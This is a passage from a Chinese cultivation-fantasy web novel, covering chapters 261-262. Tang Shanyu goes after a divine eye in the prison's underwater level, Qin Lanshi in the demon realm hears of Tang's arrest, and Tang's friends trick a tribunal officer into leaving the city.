“嗯?所以?你不会想要我掀起反抗的旗帜,然后带着这些罪人一起杀上顶楼,将这个断罪庭一起端了吧……?”唐山玉笑了一下,然后道:“不行,这里头也是有真正的罪犯,可不能这样做。” “…我也没想过这样好吗?”柳鹤说着就要给自己自证一下清白:“我也是你们所说的根正苗红的少年……” “哦,那些人喊你大哥又是怎么回事?”唐山玉听着熟悉的词汇出现在修仙界难得笑容温和了不少,只是根正苗红和形容的人有点不搭而已。 “……年轻不懂事。”柳鹤咳了一声。 “你也不年轻啊。”唐山玉可谓是对方说一句就呛一句,好像不想给对方好过一样,但是他呛得又像在打闹,听不出什么威胁感。 “好吧,我想说的是……断罪庭里头有个东西你想不想要?”柳鹤笑了笑然后问道:“这个东西目前在不存在的十八层。” “水里?”唐山玉瞥了一眼那飘着的塔楼。 “你想得好快。”柳鹤随口夸了一句,然后道:“对,最底部的十八层其实是水牢哦,那里关的不是人修,而是作恶多端但是又杀不死的妖兽。” “…有什么东西值得我直接去十八层拿的?” “哈哈,其实长乐姐姐一直在关注你们,所以我也或多或少知道一点情况,你们……”说着,柳鹤的声音压低了起来,语气微冷:“要不要试一下……弑神?” “……好处?”唐山玉摊开手,等待着这个交易所能给他的利益。 “好处就是你们可以自由?”柳鹤笑着,然后接着道:“至于对我的好处……其实我不相信长乐姐姐身边那个叫做系统的东西。” “为什么?到底是你懂系统还是她懂系统?”唐山玉一边问一边玩梗,他目前的确在苦中作乐。 “……?这是什么?”柳鹤难得疑惑了一下,估计是没有接收过这种信息,不过很快他又继续往下说去:“我也是听牢里的前辈说的,据说断罪庭为什么会在建立这里,是和这个东西息息相关的,据说这里有神明的眼睛,只要在神明的注视下,深渊里的魔物便不会轻举妄动。” 神明…神明…… 这个神明留下的东西还真多,之前是火是那个什么龙啸,这次则是眼睛…… 咋。 分东西分到最后被分尸了吗? “这个东西对我来说没什么用,再说了弑神这种事情你不应该和我说,你应该和其他人说,改天我会和顾延清说一嘴的,做不做就看他了。”唐山玉一副不想惹上事的模样,并且还语重心长地道:“再说了,你都说是据说了,万一我好不容易过去发现那里什么都没有岂不是白跑一趟,而且你也说里头一堆魔物了,也说明了眼睛的作用了,很显然眼睛拿走后这些魔物就会乱动,这可不好……” [我想要。] 就在这时,唐山玉的脑海里突然响起了一道声音,这玩意儿怎么睡着睡着还偷听人讲话。 “……但…也不是不可以解决。”唐山玉的语重心长突地就换了个方向,柳鹤眼睁睁地看着人把拒绝出口的话拐了个弯,就这样委婉地变成了同意:“嗯,看在你苦苦哀求我的份上,我就走一趟吧。” “…………你原来那么善变吗?”柳鹤的眼神极为复杂。 “…闭嘴。”这叫灵活变通。 “说起来,我是真没有想到你会进来,还以为你不会进来呢?怎么,我留下的遗言很好用吧?话说你怎么就会想到有那么一天?莫不是你和长乐姐姐一样好似能看到未来?”柳鹤干笑了几声,不打算在惹恼唐山玉这件事上进行下去。 “……并不是。”唐山玉听到这话难得有些不好意思起来了。 “?那是什么?总不能你耍着我玩吧?我可是念了快一个晚上的人名啊喂!”柳鹤听到这话,眉头一挑,这次恼怒的主角变成了他自己。 “好像也算是……”唐山玉犹犹豫豫,莫名地有些拘谨。 “到底是还是不是啊!!”他真的很好奇,不要说一半不说一半好不好!! “……我只是想着要是师父也坐牢的话,我可以凭借这个进来陪他坐牢。”唐山玉说完后清咳了一声,扭过头去,不去看柳鹤那双看恋爱脑的眼睛,“再说了,这个可能还挺大的……” 柳鹤:…… 算了,他本人也是自愿替人坐牢了,所以他好像也说不了这人什么。 半斤八两。 …… “尊者。”一道人影立于门外头,月色将他的身形拉得很长,而被这个人唤作尊者的人则是顾延清,他坐在窗边,手上依旧拿着一份卷子,就在那里看着。 “如何?”顾延清提笔在卷轴上写了几笔,就放在了一旁,眸光平静地往门那边看去。 “关于众人对随清宗的不满还有唐山玉的骂声已达巅峰,尊者接下来可还需要我等去做些什么?”那人恭恭敬敬站在门口那,一步不移。 “先放着,等断罪庭开庭的时候再一一把那东西放出去。”顾延清指节轻敲了一下桌面,若有所思地道:“比起这个,可知山玉那边情况如何了?” “按照您的吩咐,那边传来的可靠信息是山玉公子想要寻死觅活然后就被那边的人换了个牢房。” “……寻死觅活?”顾延清听到此言一顿,随后转念一想估计对方应该有自己的目的,便没有再纠结这个事,随后他问起了其他:“魔域那边如何?可有什么消息传来?” “并未。” “好,你继续留意。” 那人听到这话便答了一声是,随后便退下,他的影子和一旁的黑暗融为了一体。 在人离开后,顾延清叹了口气,他继续拿起下一份卷轴,似是还打算再看,可这回却怎么也看不下去,心中的浓重思绪总是会让他回想起那个夜晚。 人总是在回想起当初,如果自己能够做得再好一点,再厉害一点,结局会不会就不一样了。 悔意,无力,愤怒等等这些情绪时刻冲击着顾延清的腹腔里头,可他无处述说着,最后只能自己去咀嚼着其中的滋味,再将其静悄悄地藏好。 另一边,魔域里头,秦兰时打着哈欠迎接着在魔域难得有床的清晨,他看看外头的场景,黑雨已经不再,可天空却也算不得有多晴朗,太阳与神明息息相关,这也就导致传说中被神明所抛弃的魔域里头是看不到太阳的。 所以,在人们的入目之处,只有那漆黑的天空正仔细地将那些稀碎的红云包裹。 “时澜公子可是打算出发了?”季盈许是听到了动静,便传音过来问他,“可要吃了早饭再走?大家今早煮了不少。” “这就来。”对于能免费吃饭这件事,秦兰时一直很乐意的,回答完后他便慢悠悠地整理一下衣服就往吃早饭的地方走去。 一路顺畅。 秦兰时来到了热腾腾的早饭面前,他看着桌上那还有不知名的红果子,不知道用什么做的黑色饼子,顿时沉默了一下。 他的确没吃过魔域本地菜,原来长这样的吗?看得有些诡异。 正想着的时候,旁边就有人给他端来了一碗冒着泡的浓稠的紫色汤过来,秦兰时用筷子在里头搅了搅,然后夹出了一根黑色的青蛙腿,再搅几下,就出现一个白花花的嫩虫肉 “这可是咱们这里少有的肉,今早给大人您抓的,新鲜着呢!!”旁边的村民纯朴一笑,正期待地看着秦兰时:“不知合不合您的胃口。” 秦兰时沉默了一下,秦兰时小心翼翼地吃了一口,紧接着他便封锁了自己的味觉,开始满目深情地吃起了早饭:“不错不错,只不过记得我昨天给你们开的会,粮食计划得提上日程才行。” “大人吩咐得是!我们今日就去办了!!” “很好!够速度!”秦兰时夸了一句,继续吃早饭,等他吃完后就匆匆忙忙……不,就极为真诚地和他们道了个别,就开开心心地往外边走去。 路过熟悉的手骨,它还在那里,高高地举起着,爪子正闪烁着一抹寒光,秦兰时见此便蹲下来,掏出一块木板,立在这个小手旁边,并且还潇洒地刻下一行字: 魔域最好看的人之墓。 骨手在风中晃啊晃的,像是十分满意。 秦兰时见此笑了一下,这下子他是真的要快马加鞭地走了,毕竟万一他去到金珍城后人家都比完赛怎么办? 只不过走着走着的时候,秦兰时左看右看,发现周围没有人,就拿出个水囊,就小心翼翼地解开了味觉封印……下一刻,他举起水囊猛猛地喝起了水。 好奇总是爱作死的。 与此同时,在阴暗的洞穴里,顺着台阶走至高处,在断岩边上的那座绽放着无数血花的黑棺里,躺在那里的男子缓缓睁开眼,伴随着他的起身,四周的花急速地枯萎,血色尽褪,只余枯色,唯有那残枝还零零碎碎地搭在黑棺上,和棺上的暗红纹路紧紧相依。 男子的眼眸里尽是漠色,骨节分明的手搭在棺边,那惨白色和黑棺本色形成了鲜明对比,黑色纹路渐渐爬上他的脸颊而后又自主散去,浓郁血光在眸里浮现着。 “…主上,您醒了?”似是对他的苏醒有所察觉,服侍的人正恭恭敬敬地跪在下方,他不敢直视其容,只是一味地将头低下。 “……”那个人没有搭话。 “…主上?”服侍的人见没有回应,小心翼翼地抬起头……唯恐那位出什么事。 可在下一刻,他那抬起头在感受那骇然的威压后重重地往地上砸去,与此同时,他感觉到有人慢悠悠地从上边走下来,其脚步声一点一点地离他越来越近。 最后,这脚步声的主人迈过了他,就那么直直地往他后边走去。 待那男子走远后,这人便发现自己已然惊出了一身冷汗,过了一会儿后,他才哆哆嗦嗦地站起来,急匆匆地往外头跑去。 可外头哪有那位的身影呢? 若是有认识这男子的在场,定然会轻而易举地认出这男子便是数日前那随清宗的入魔弟子,也是天青剑尊的徒弟———谢璟。 第261章 依旧向前 锁链于海底静悄悄地摇晃着,水中的漩涡刮着它们而过,似雪的碎泡一点一点地拨弄着水草的身躯。 唐山玉来到了这里,悄声无息地撩开一点水草,潜伏在沙土里头。 他先是努力地爬几下,然后又安静地看着一个庞然大物在水里慢悠悠地扭着粗腰经过了他身边。 “……有时候我总觉得你有点病。”付尘传着音,凑在了唐山玉的旁边,他看着这里的情况挑了挑眉:“我还以为你要偷跑出去,谁知道你直接往十八层那里跑……你是生怕活着出去吗?” “那你怎么还跟上来?”唐山玉看着一只螃蟹两只螃蟹在眼前横行霸道而过。 “……因为我真的很好奇为什么你能够轻轻松松从牢房大门里头出来,并且还不被人发现……先前我以为是阵法的影响,可现在看来你身上有着挺有意思的东西啊。”付尘也趴着,他也是沾了这家伙的福才能躲过那么多阵法的试探。 “对呀对呀,你看~”唐山玉指了指自己的耳坠,笑着道:“就它,很厉害吧?你见过吗?” “……你把这东西指出来是想要我抢吗?”付尘这下子更不能理解了,这人到底是傻还是不在意,总不能是他长得像个好蛇吧? “嗯~你猜?”唐山玉笑嘻嘻地当一个合格的谜语人,随后他似是发现了什么,屏住了呼吸,安静地看着那只大乌龟慢悠悠地爬过他们面前:“哇…你看这个龟,好大啊,你见过这种龟吗?” “海族那边应该挺多的,我记得那边的祭司就是龟族。”付尘托着下巴,也跟着看着这大乌龟的路过。 “你被关那么久知道的东西还挺多的。” “……我活得比你久,小鬼。”付尘难得在这方面自信了一下,神采飞扬了一瞬。 “这个我知道,你们妖族寿命长,修炼慢一点,但是就是寿命长很好地弥补了长生这一点,让你们更有时间去修炼……”唐山玉说着总觉得有点不对,因为这好像只是单纯为了平衡。 “喂,趴低点。”突然,付尘伸出手按住唐山玉的脑袋往地上拱去,唐山玉始料未及直接吃了个土,与此同时,他感觉到心脏处传来的一丝绞痛。 好像有什么厉害的东西带着它那个可怕的威压过来了。 唐山玉悄咪咪抬起头,尽管嘴里还含着土,但是他不敢现在吐掉,总之,在他抬起头的那一刻,他看到一只金色的眼睛。 是的,是眼睛。 那眼睛倒映出的他们躲着的海草是如此的渺小,如此的不值一提。 接着,那只眼睛就那么经过了他们,而因为此海兽过于庞大导致他们压根看不清楚这到底是什么类型的海兽。 但是,这恐怕是他们目前见过的最大一只了。 “这是什么?”唐山玉转头看向了百·付尘·度,有些好奇地问道。 “不知道,没见过,海底的生物千奇百怪的,我哪能看过那么多?想知道不如去看看书,你年纪轻轻怎么不看书?”付尘见那东西走远后就松了口气,随后就回应了唐山玉的期待。 “……你年纪大也没看啊!”唐山玉很不服气,接着他就怒气冲冲地打算远离付尘…… “等等,我错了!”本来就是靠着唐山玉才没有被这些海兽发现的付尘连忙拽住人的胳膊:“行行好,不是说好了吗?我带你游泳找东西,你帮忙藏住我的气息。” “对啊,但是你不是必需的啊,你只是比我游快一点而已,我游慢一点不耽误我找东西啊。”唐山玉瞥了这蛇妖一眼,笑了笑:“你要是想抢我的法宝,那我只能说我可以轻而易举把这法宝给毁了,到时候我们俩就可以开启深海大逃杀了。” 付尘:…… 付尘转移了话题:“话说回来你要找的东西在哪里?” “不知道哎。”唐山玉愣了一下,然后转而去问神识里的那个家伙: “东西在哪里?” 过了一会,唐山玉没有得到回应。 感觉那家伙就是突然醒过来说一句话就重新睡回去了,真是让人羡慕的如婴儿般良好的睡眠。 “应该就在这附近吧。”唐山玉装作感受了一番那不存在的神明眼睛的气息后转头对付尘笑道。 “真的?”付尘面露怀疑。 “真的。”唐山玉的眼神正直无比。 与此同时,另一边……… 断罪庭长老打着哈欠看着水镜那头的情况,在那里,唐山玉无比安详地躺在地上呼呼大睡,他不由得也生起一丝困意。 修仙者修为越往上越不需要睡觉,但是如果能够美美地睡上一觉也会感觉到其中的舒服,这能够让精神得到恰好的放松。 “…这小子睡那么好,真让人羡慕啊……”长老感慨了一声,就继续看起其他牢房的情况,毕竟他又不是只负责一处。 …… 金珍城。 魔族里最繁荣的城镇之一。 秦兰时走进后第一眼便觉得这里真不愧对于它的名字,满城里头零零散散地飘着金砾,像漫天飞舞的金雪,它们在漆黑的夜空下明媚如阳。 进城并不难进,只需要在外头买个通行牌,这个牌子很贵,千金难买,但是秦兰时有抢劫别人的实力,所以可以白嫖它。 这不,他正手上抛着牌子慢悠悠行走在街头,略微好奇地看着这里的魔修,这可比他当初杀的还要多,如果是以先前自己的目光来看,这里头的魔修个个都亮着人头赏金,散发着金钱的气息。 此时此刻,秦兰时已经看到几个赏金很高的魔修大摇大摆地在他面前走过。 在秦兰时按住痒痒的内心后,就发现有个布告栏里头围着不少人,似乎有人在张贴告示,这种热闹是人是鬼都爱凑,所以秦兰时毫不犹豫地往那头挤去。 “魔主大比就在这几日了,真让人期待啊。”人群涌动着,有几人正在兴奋地讨论着事情。 “那可不嘛,不知道到时候是哪位能成为新的魔主,据说这次金家人也报名了,就等着借着魔主的势往尽煞都那头推进呢,毕竟那地儿可不是一般魔修能去。”有人感慨着,语气里充满了期待和向往,这尽煞都对于魔修们来说估计是个好地方,并且不容易去。 既然不容易去,那就更要去了。 秦兰时耐心地听着,一边听一边抬头看向了上面的魔主大比,在魔域里头的比试自然是以武为主,只有强者才能让各魔修臣服,而这里便是舞台。 “嘿!你莫要踩我的脚!起开!” “那咋了?和我比划比划?” 眼看着这群脾气暴的魔修又要开始闹起来了,秦兰时连忙离这几个魔修远一点,目前他只想着低调行事,第一次做魔,总要有个适应期。 不过热闹还是要看的,秦兰时默默拿出一把瓜子正准备看的时候,突地,那边的几个魔修安静了起来,与此同时人群依次往外排开,应是有什么位高权重的人走了进来。 秦兰时嗑瓜子的手一顿,便没有继续嗑瓜子,而是转而手里拿着往那头瞅去,第一眼,他被金光闪瞎了一下双眼,第二眼他忍着眼痛努力看清那人的模样,第三眼秦兰时对于那人身上的闪烁珠宝欲罢不能,连忙偏开头,再看下去他就要顺从内心的欲望,把这人身上的东西都给抢了。 入魔后果然时时刻刻都想着犯罪。 这样可不好,得克制些,不能彻底被同化了。 “是金家少爷。”有人小声嘀咕了一下,这也让秦兰时明白这个金光闪闪的家伙到底是谁。 金家啊……听上去就挺有钱的,今日一见,果不其然,或许是命里带金的缘故。 只见那金光闪闪的金少爷走到告示面前,慢悠悠地瞅上几眼,自信一笑,把玩了一下手上的戒指,那戒指上还有一个鸽子蛋那样大的红宝石。 红宝石在他的轻微转动换了个方向闪烁,这一闪就闪到了秦兰时的眼里,秦兰时掩去眼底的渴望,默默站在人群里头看着这个金少爷下一步的动作。 那金少爷只是笑了一下,什么话也没说,只不过那轻蔑的眼神说明了一切,接着他看垃圾那样看了一眼四周的家伙,就很是乐呵地沿着来时的路往回走去。 所过之处,众人皆慕。 极少人能够抵制金钱的荣光。 秦兰时笑了一下,然后就准备离开,正走着的时候,他就看到了一间长了一个万事通的牌子的店铺,且那看着旁边立的牌上写着:正道的那些事。 这似乎能够买到关于正道信息。 秦兰时一想到自己一入魔域就和外头修仙界断了联系,不由得撇了撇嘴,虽然是被迫的,逃亡途中也很难有空去打听消息,进入这隔绝外头的魔域就更难了。 所以他目前对于修仙界那边的情况了解不多,这样一想,秦兰时就走了进去,一进去就看到有几个零零散散的人站在旁边他们穿戴比较低调,都在和店家的伙计低声交谈着。 站在原地等了一会儿后,很快有人迎了上来,笑嘻嘻地问着:“客人可是想买些什么?” 秦兰时看了一眼四周,便问道:“价格怎么说?” “那得看客人您想要知道什么了。”总而言之报价的是他们,客人只需要一味地付钱就行。 这一听秦兰时就觉得这家店心也是黑得很,他略微思索了一下笑问道:“那这里卖信息吗?” 卖? 万事通的伙计脸上的笑容更大了:“客人要卖什么信息?” “…嗯,好玩的?”秦兰时挑了几个随清宗对头的几个黑历史,已经在心里酝酿了,就算入魔了也不能忘记坑人啊,“比如某某尊者居然相信用灵猪的那个……能够……” 这伙计听到这事眼睛立马一亮,这信息好啊,足够抹黑那群死正道的形象了,不对,本来就是真的,谈什么抹黑,他们这是实话实说,并且还可以乐呵地谴责那群死正道。 “这是真的?”不过这个信息太离谱了,伙计不由得产生一丝怀疑。 “当然,这可是我亲眼所见!”秦兰时说得煞有其事,接着他转了转眼珠子,又说了一个无伤大雅但是却是众位女修一直疑惑的真相:“你知道那个风流尊者吗?其实他片叶不沾身的原因是因为他那里……” “不行。” 伙计呼吸急促了一下,清咳了一声:“真有这事……” “当然,当然。”秦兰时笑了笑:“要是假的就报我的名字,报完对方就知道怎么回事了,包有信用度。” “客人的名号……?” “时澜。”秦兰时采取了惯用假名,随后道:“说了两个了,该轮到你了吧?你们万事通总不能不讲信用。” “我们万事通当然讲信用了!”不讲信用他们店还怎么开!! “我想知道关于修仙界最近的事情……尤其是随清宗那边的情况。”秦兰时见人这模样 就再接再厉地往下说去。 伙计没有问秦兰时为什么要问随清宗,他想了想这个信息的价值觉得倒也不贵,毕竟那边闹得还挺大的,但凡外头回来的魔修一般都知道,他也算是得了个便宜,所以就说得多一点:“这个啊,听说随清宗那头出了入魔的剑尊,各大宗门派出不少人围剿他……” “这个我听过了,接下来呢。”当事人秦兰时挥了挥手,让人换个信息。 伙计听到这话也就想了想:“那也是那个剑尊的事情,听说他和那个徒弟的关系传遍了整个修仙界,大伙们都说这个剑尊真不愧对他的入魔之举,居然老牛吃嫩草。” 秦兰时:…… “然后呢?”秦兰时此时此刻的笑容有些咬牙切齿了,刚刚他差点没绷住。 “然后啊?然后就是他们俩嘛,你晓得的。”伙计那种奇妙的眼神让秦兰时摸不着头脑的同时内心也生起一丝对流言的畏惧。 “……啥?”又有啥? “既然那青莲剑尊入了魔,那么他徒弟在那群正道理应有着私通魔族的重罪,而且最近有个水镜传得沸沸扬扬,上面述说着那个徒弟的罪证,正道大伙们都说那徒弟也是个入魔的好料子。” “这不,最近断罪庭找上门去,把那青莲剑尊的徒弟给押回去断罪了。” 秦兰时:…… 几乎是一瞬间,站在秦兰时面前的伙计似乎感觉到四周有一股危险的气息出现了一下,很快又消失得无影无踪。 这伙计没有很在乎这件事,毕竟在魔域有人动了杀心很正常的事情,在这里,走在路上都容易被人抢劫杀死,可谓是整日都提心吊胆的。 “断罪?断的什么罪?”只不过,此时此刻,伙计感觉到眼前的客人似乎有些不对劲,那位客人的声音不似先前的轻松,但却含着笑。 “这我就不知道了,近日就要开庭了,到时候咱们就知道了,客人想知道一手消息吗?记得到时候联系我们哦!”伙计闻言笑了一下,立马给他们的万事通招揽生意。 “……”秦兰时没回话,转头就往外走,伙计见他这样也不好奇,毕竟服务业见到的奇怪客人很多了,再说了探究别人的秘密容易死,总之秦兰时是在伙计那声欢迎再来里走出了万事通。 …… 来到一个巷子里头,秦兰时的神情已然稳不住了,他靠在墙壁上,脸色惨白地伸出手抚在了胸口处,那里应该有朵让他安心的同心莲,可是现在已经什么都没有了。 当初……应该把人带走吗? 他以为顾延清应该会把人护好的,但事实证明好像又不是…… 不对,顾延清肯定会护好的,他相信顾延清的实力,但是……唐山玉不见得想要这种保护。 “……早知道这样当初还不如直接带着跑呢!!他一个人去那地方,他一个人去啊!!!”秦兰时压抑住声音嘶吼着,他转过身去用头撞墙,脑袋没事墙壁有事,几道裂痕就那么出现在墙壁上。 “唐山玉!你真是好样的!让你这样去了吗!我让你这样去了吗!!!你伤好了吗就去!你能和我一样………”说到这里,秦兰时顿住了,突地,他又无奈地笑了一声:“…罢了,我好像也不配说你。” 秦兰时停止了撞墙的动作,就这样脑袋搁在墙上,一动不动的,像在沉思,而路过的魔修都淡淡看了他一眼,然后见怪不怪地来了一句:“又疯了一个。” 秦兰时也确实有点想发疯,但是这里不允许……如果此时此刻山玉在,他早就扑人怀里连啃带咬地哭着问他为什么又不爱惜自己。 是的。 如果在像家一样的地方,秦兰时真的会哭出来的,哪怕是像打闹一样说着自己的真心话。 但现在,就算悲意徘徊在心头里,秦兰时也绝无泪意,有的只有无声的埋怨和无奈。 “……接下来,该去准备魔主大比了。”好不容易,他听到自己那平静的声音终于再次响起,随后,秦兰时把自己的脑袋从墙壁里头拔出来。 他们都有应做的事情。 不能停留太久。 第262章 塔底妖魔 断恶庭为高塔,断恶数万年以来,底部压着不少曾经祸乱于世的群魔,取一个出来都能让仙家头疼好久了。 这也是为何仙家们大多都对断恶庭和颜悦色的原因,当然其中也有一些没那么和颜悦色的,但是也不会特别抗拒断恶庭。 只因一点,曾经的群魔真的被镇压在断恶庭之下,而断恶庭虽不同往日,但其中的威信依旧。 虽说这件事伴随着时间渐渐被众人淡去,极少人提起断恶庭就提起这个镇压群魔的事情,甚至还有人提出质疑这些群魔的存在,可事实上,这件事提出的人不多,质疑人数也就跟着少了。 “这事记载得很少,要不是特地查,我都不知道这个断恶庭以前还有这个作用,现在我满脑子都是那断恶庭把山玉哥哥带走的凶恶嘴脸。”江玉瑶不敢置信地翻看了几页,发现的确有这个记载,再加上记载这件事的书名为天录的真实性后,这才感慨了一下。 “这么一想倒也合理,毕竟断恶庭是关押犯人的地方,也不知道到底是怎么关押那么多囚犯的,毕竟它那里不只有人修……”叶玄洲若有所思地点了点头,随后问了旁边的李行川一句:“你们家可还有什么消息?” “你们叶家没有,我们李家也不一定有,有些消息不花钱是买不来的。”这个特指惯会利用金钱让人屈服的叶家。 “可有的消息花钱也买不来。”这个特指惯会利用名声让人信服的李家。 “你们俩别打太极,现在我们的目的是找到能够击溃断恶庭的点,光靠山玉那个还不够。”难得说话阻止这俩继续周旋下去的方安城冷漠地提醒道:“那个法子虽能让断恶庭大受重创,但是山玉也说了,这个办法还不能足以让断恶庭彻底被解决。” “这个我知道,斩草要除根。”在旁边帮忙找书的张欣雅听到这话眼睛一亮,自信满满地插了一句。 已经被书给弄晕的梅元宝和陈严正苦恼地抓耳挠腮着:“什么?什么啊?到底还要找什么?” “但是如果按照山玉的计划来看,如果断恶庭彻底倒塌,那么里面的魔物或许会不受镇压地跑出来。”叶玄洲皱了皱眉,啧了一声,很是爽快地把这个棘手问题丢给会用脑子的李行川:“李行川,你怎么看?” “……叶兄,既然都到了这一步,或许我们可以让山玉的计划变换一下,既然不能把断恶庭彻底铲除,不如选择由我们掌控它。” “…还不如直接连根拔起呢?这个掌控比直接搞破坏要难吧?”叶玄洲听到这个就头疼,只能唉声叹气起来了。 “是啊……”李行川也跟着叹气,后背压上了靠椅,眼里尽是属于这个年纪的深邃。 “好难啊……”江玉瑶也跟着他们感慨着,她无聊地把玩了一下自己扎好的长辫子。 “……是啊,好难。”张欣雅跟着认真地点了点头,她思考了一下也没思考个所以然来,她就是个武将,这种文绉绉的事情她压根不擅长。 “…………”方安城听着这些难来难去的话语苦恼地闭了闭眼,然后又淡淡地睁开:“难也要做,首先,先搞清楚他们断恶庭到底是利用什么法子镇压如此之多的妖魔。” “方兄,你那边叛徒处理得怎么样?”李行川笑着转头看去。 “该杀都杀了。”方安城淡淡地回道。 “事已至此,既然已经找不到有用的,我们……”叶玄洲站了起来,神色严肃地扫过在座的诸位,随后他露出了灿烂的笑容:“不如先吃饭?” 众人:…… 有事无事先吃饭是吗。 也行。 忙碌好几天的众人纷纷跟着叶少爷前往了最贵的酒楼,在那里,仙乐四起,轻纱如瀑布流水那般直垂而落,迎风而扬,于风中,那歌女于台上高唱着经久不变的歌谣。 美酒倾倒于桌上像一抹晕开的胭脂,酒液滚动着,诱人的酒香让人产生了一丝醉意,朦胧间,又闻几声低笑。 “她…她身上好像穿着断恶庭的衣服。”江玉瑶咽下一个肉丸子后,有些惊讶地指着酒楼下边某个人道:“断恶庭的人怎么在这里?莫不是有案子?” “其实没有案子应该也可以出来吃饭吧?”梅元宝和陈严终于活过来了,他们正在猛猛干饭,其中陈严边吃边回了一句。 “但断恶庭一般情况下是不会穿着断恶服出来的,只要一穿,那就是有恶必断。”李行川在旁边解释道,说着他也产生了一丝好奇:“看她身上的气息应当与我们差不多实力,许是新入断恶庭的道友,比那些好对付多了。” “确实。”方安城眼睛一亮,当即拂袖起身,接着便被叶玄洲给拦住。 “你要干什么?!”叶玄洲觉得方安城要去做的事情绝对不够怜香惜玉。 “逼供。”方安城冷冷地回答道。 “不行!不行!你怎么能对一个姑娘家家动粗!!”叶玄洲在包厢里大声谴责一下方安城那几乎没有的良心。 “你不能,我可以,你只要闭上眼就行。”方安城已经不是以前的方安城了,现在的他可以熟练地利用一些残酷的手段让人说点聪明话。 还没等叶玄洲说什么呢,就听到下边传来了一声惊呼,原是那位断恶庭的姑娘动手了,只见那锁链缠绕在那被捉拿的男子身上,滋啦一声,那锁链闪烁出几条金纹,徘徊在链子上,紧接着那男子便嚎叫了一声,躺在地上一动不动的。 “呀!!打人了!!”在楼里,有人尖叫了一声。 “断恶庭办事。”那姑娘头也不回地扯着锁链回了这一句就拖着这晕过去的男人往外头走去。 她就这样风风火火地来了,然后又风风火火地走了。 …… “喂,你们看到了吗?就那个锁链……说起来断恶庭的人大部分都准备了那么一条链子。”说着说着,叶玄洲似有所悟,其他人也跟着大彻大悟。 “或许那玄妙之处就在此了。”李行川微微一笑,茶杯轻置于桌面,似铜钱清响。 闹市灯笼里头火苗随风轻摇,将这场欢声笑语淋漓尽致地印在天地间,急促的步伐伴随着少女轻扬而起的裙,她路过一个摊子就看一个摊子的东西,不管是什么,她好似都能看个心满意足。 孩童玩乐的拨浪鼓,绘着四君子的文雅画卷,精心捏出的绚彩泥人,街边吆喝的冰饮子,被炭火煎烤的肉串撒着零零碎碎的芝麻,锅里的饼子滋啦地响着脆油音。 “客人可要来一份?” “不了。”这位断恶庭的姑娘轻轻摇了摇头,而也在此刻,映在她眼眸里的火光带上了些许温柔,或许是因为这万家灯火通明让人满意无比。 “……她这是在干什么?”跟在后头的江玉瑶转头问向也跟在后头的几人:“怎的还不回断恶庭?“ “可能是想要玩玩?正常正常啦,毕竟我看着也觉得很好玩嘛~”叶玄洲不知道什么时候手里拿了不少吃食,正给江玉瑶递上来。 “现在是……”江玉瑶拿过叶玄洲手里的糖葫芦,一边吃一边指指点点道:“是吃这种东西的时候吗?” “这烧饼真好吃。”张欣雅已经拿着个油纸包着的烧饼在啃了,一咬一口酥脆,味甜音脆,让人身心都觉得舒服。 “这包子也好吃。”梅元宝眼里也很坚定,对吃的坚定。 方安城手里什么也没有,他无视了旁边陈严拿着包子的示好,直接问李行川:“就这样跟着是不是太慢了,要不换个办法?” 待在这种地方让他浑身不自在,他只想着快点解决完事情就回去一个人待着。 “这个嘛……”李行川有些不好意思地道:“我在断恶庭也没人脉啊……那地方可不容易进去的。” “……山玉哥哥现在肯定在牢里连饭都吃不好吧?”突然,江玉瑶看着手里的糖葫芦悲从中来,就差抱着糖葫芦喊山玉哥哥了。 “…是啊。”拿着食物的众人也难掩悲伤,只是他们忽略了一点,修仙者其实是不用吃饭的。 所以山玉不是饭吃不好,他只是没得吃而已。 “…或许不需要等待。”李行川看着还在那边瞎逛的断恶庭,他无奈地笑了一下:“也不是没有其他法子,只是这个法子有点不太好。” “什么法子?”着急的方安城问出了声。 “山不过来,我就去寻山。”李行川说着又幽幽叹口气:“还是那个问题,这法子有点不是人。” “我不是人,让我做了吧。”方安城回得也很果断。 “行了,不管什么法子你们李家在我们心里都是最高洁的行了吧。”叶玄洲哪能不知道这种文士的担忧呢,他当即表示这事自己是不会说出去的。 “咳咳,那就……”李行川稍作扭捏,脸上还浮现出几分红晕,像是在不好意思…… …… 今日,是断恶的好日子。 应悦曦走在路上,今天她抓了个坏人,等她巡查完这个地方,她就可以把坏人押回断恶庭,关在里头,让他不再出来祸害人。 又是做好事的一天呢。 应悦曦这样想着,心情更加愉悦了,面对着不愿意让路的路人她很是从容地退步往另一边拐去,可就在这时,那路人直直地倒了下来,她下意识去接住。 “救……救救……”那路人是个脸色苍白的小姑娘,她看上去好似要哭了那样,“救救我……” “怎么了?姑娘可是遇到什么事?莫怕,有我在。”应悦曦闻此眼神顿时犀利起来,她扶起这个姑娘,忙问道:“我是断恶庭的常使,有什么冤屈可与我说。” 江玉瑶听到这话总算知道李行川那句不是人到底是怎么回事了,敢情他早就知道干这个事容易良心遭到谴责。 因为这个断恶庭的姑娘太过正直了点。 “我,我遇到了贼人,他劫走了我的妹妹……我的妹妹现在很危险……”江玉瑶说得有些磕磕绊绊的,实际上她有点心虚,许是药丸让她看上去是那么的脆弱,所以应悦曦并没有怀疑这件事的真实性。 “贼人在哪?“应悦曦当即冷声下来。 “许是跑出城外了,这是…这是那贼人身上的衣物,我拼死扯下来的。”江玉瑶拿出一块破布,塞在了应悦曦的手里。 “你做得很好,有了它我便能实施追踪术法,放心,我会把你的妹妹救回来的。”应悦曦见此就拿起这布,开始探查起上面的气息,很快她就找到了对方的踪迹,那气息果不其然直直地流出城外。 “谢谢常使大人了……”江玉瑶继续柔弱,越柔弱越让应悦曦觉得此人怕是下一刻就要昏过去那般。 “你先找个地方好生歇息,这是我的传讯符,等我把你妹妹寻回来我再与你说。”应悦曦说完这话便把传讯符塞过去,接着就转身要往外赶去。 “…常使大人一个人去吗?”江玉瑶接过那传讯符愣了一下。 “嗯,此事刻不容缓。”应悦曦认真地点了点头,“姑娘,你且等我。” 说完,她就风风火火地往城外赶去。 江玉瑶看着这个断恶庭姑娘远去的身影,有些担忧地问了一句:“这样真的好吗?” 不知何时出现在她身边的李行川轻摇一下头,随后笑道:“自然是不好的,但,这也是最快的,距离唐兄被审判的日子已经近了,若不能寻到更好的法子,那么唐兄并不一定能够被释放出来。” “…我知道,因为断恶庭已经不再是那个公正无私的断恶庭了。”江玉瑶想起书里所记载的断恶庭,千万年来的名声并非一朝一夕可撼动,前人所留下来的公正,或许在这一代已经消失殆尽了。 ……真的消失殆尽了吗? 江玉瑶想起方才那姑娘的眸子,宛若炽热的火焰跌入野草间,肆意而起,好似能将此间黑夜点亮那般。 